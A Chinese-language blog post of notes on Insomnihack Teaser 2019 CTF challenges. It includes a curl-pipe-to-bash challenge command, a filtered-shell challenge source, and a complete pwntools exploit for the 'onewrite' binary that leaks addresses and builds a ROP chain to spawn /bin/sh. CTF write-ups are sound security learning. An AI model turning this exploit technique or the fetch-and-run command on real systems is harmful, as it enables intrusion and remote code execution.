Nepire 渴求着能撼动世界的力量

INSCTF2019笔记


总之避免了新年的第一场CTF就爆0的尴尬,但签到热身题没做出来就很难受,这次看了curlpipebash/echoechoechoecho/nyanc/onewrite四题,结果只在gdb调试不动的情况硬刚出来了一题onewrite(n不了,要找一下相关的资料)

curlpipebash

curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash

访问https://curlpipebash.teaser.insomnihack.ch/print-flag.sh后会跳转到https://curlpipebash.teaser.insomnihack.ch/xxxxx-xxxxxx-xxxx-xxxx类似这样的域名,但访问这个路径下的所有东西都会重定向到print-flag.sh,然后就没思路了

echoechoechoecho

给了python3的shell源码

#!/usr/bin/env python3
from os import close
from random import choice
import re
from signal import alarm
from subprocess import check_output
from termcolor import colored
alarm(10)

colors = ["red","blue","green","yellow","magenta","cyan","white"]
# thanks http://patorjk.com/software/taag/#p=display&h=0&f=Crazy&t=echo
banner = """
echoechoechoecho
"""

def bye(s=""):
    print(s)
    print("bye")
    exit()

def check_input(payload):
    if payload == 'thisfile':
        bye(open("/bin/shell").read())

    if not all(ord(c) < 128 for c in payload):#Only Ascii
        bye("ERROR ascii only pls")
    #匹配除();+$\'之外的字符
    if re.search(r'[^();+$\\= \']', payload.replace("echo", "")):
        bye("ERROR invalid characters")

    # real echolords probably wont need more special characters than this
    if payload.count("+") > 1 or \
            payload.count("'") > 1 or \
            payload.count(")") > 1 or \
            payload.count("(") > 1 or \
            payload.count("=") > 2 or \
            payload.count(";") > 3 or \
            payload.count(" ") > 30:#未限制echo和\的使用次数
        bye("ERROR Too many special chars.")

    return payload

print(colored(banner, choice(colors)))
print("Hi, what would you like to echo today? (make sure to try 'thisfile')")
payload = check_input(input())


print("And how often would you like me to echo that?")
count = max(min(int(input()), 10), 0)
#输入的转int小于10大于0 == count<=10 && count >= 0
payload += "|bash"*count

close(0)
result = check_output(payload, shell=True, executable="/bin/bash")
bye(result.decode())

bye

毫无思路,对bash的通配符操作还是需要稍微看一下

nyanc

用chroot起的arm64程序,搓了一个方便debug的脚本

#!/bin/bash
gnome-terminal -x gdb-multiarch nyanc -q -x remote
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu nyanc

onewrite

➜  onewrite checksec onewrite
[!] Did not find any GOT entries
[*] '/home/nepire/CTF/pwn/process/2018INSctf/onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序逻辑也很简单,先选择泄漏stack或codebase,然后根据得到的地址去任意地址写一次退出,正常一开始都会去想怎么去把一次任意写变成无限任意写来扩大控制力,而我不知道是脑抽了还是怎么的一开始就去看exit里面有什么可以用的gagdet一次跳转就能得到,最后还是在别人提醒后才去改的ret,稍稍有点被自己气到了,有了无限写之后就好说了,因为是静态编译的gadget足够来构造execve(‘/bin/sh’),所以往bss段写ropchain,然后再通过pop_rsp_ret来跳到bss段上执行,不过比赛服务器的区域waf有点强,得跑个半天,先写好cat flag然后循环跑就对了

#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Author = nepire
# flag:INS{one leak, one write, many possibilities...}
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = process('./onewrite')
#n = remote('onewrite.teaser.insomnihack.ch',1337)
elf = ELF('./onewrite')

def leak_stack():
    n.recvuntil('>')
    n.sendline("1")
    return int(n.recvuntil('\n'),16)

def leak_pie():
    n.recvuntil('>')
    n.sendline('2')
    return int(n.recvuntil('\n'),16)

def write(addr,data):
    n.recvuntil('address :')
    n.send(str(int(addr)))
    n.recvuntil('data : ')
    n.send(data)

def write_bss(idx):
    i = 8*idx
    stack = leak_stack()
    write(bss_addr+i,rop[i:i+8])
    for i in range(2):
        stack = leak_stack()
        log.success(hex(stack))
        ret = stack - 8
        write(ret,p64(main_addr))


stack = leak_stack()
log.success(hex(stack))
ret = stack - 8
write(ret,'\x15')   # 0x7ffff7d52ab2 (do_leak+157) -> 0x7ffff7d52a15 (do_leak)
pie = leak_pie()
codebase = pie - 0x8a15
log.success(hex(codebase))
##### leak stack codebase && edit ret ####
bss_addr = codebase + elf.bss()
main_addr = codebase + 0x8ab8

pb = lambda x : p64(x + codebase)
rop  = pb(0x000000000000d9f2) # pop rsi ; ret
rop += pb(0x00000000002b1120) # @ .data
rop += pb(0x00000000000460ac) # pop rax ; ret
rop += '/bin//sh'
rop += pb(0x0000000000077901) # mov qword ptr [rsi], rax ; ret
rop += pb(0x000000000000d9f2) # pop rsi ; ret
rop += pb(0x00000000002b1128) # @ .data + 8
rop += pb(0x0000000000041360) # xor rax, rax ; ret
rop += pb(0x0000000000077901) # mov qword ptr [rsi], rax ; ret
rop += pb(0x00000000000084fa) # pop rdi ; ret
rop += pb(0x00000000002b1120) # @ .data
rop += pb(0x000000000000d9f2) # pop rsi ; ret
rop += pb(0x00000000002b1128) # @ .data + 8
rop += pb(0x00000000000484c5) # pop rdx ; ret
rop += pb(0x00000000002b1128) # @ .data + 8
rop += pb(0x0000000000041360) # xor rax, rax ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006d940) # add rax, 1 ; ret
rop += pb(0x000000000006e605) # syscall ; ret
gadgetlen = len(rop)/8
############  loading gadget  ##############


#idx0
write(bss_addr,rop[0:8])
for i in range(2):
    stack = leak_stack()
    log.success(hex(stack))
    ret = stack - 8
    write(ret,p64(main_addr))


#idx 1-last
for i in range(1,gadgetlen):
    write_bss(i)
########### write gadget in bss ############

pop_rsp_ret = codebase + 0x946a
stack = leak_stack()
log.success(hex(stack))
write(stack+0x38,p64(pop_rsp_ret))

stack = leak_stack()
log.success(hex(stack))
write(stack+0x20,p64(bss_addr))
########### jmp bss  getshell   #############


n.interactive()

Comments

Content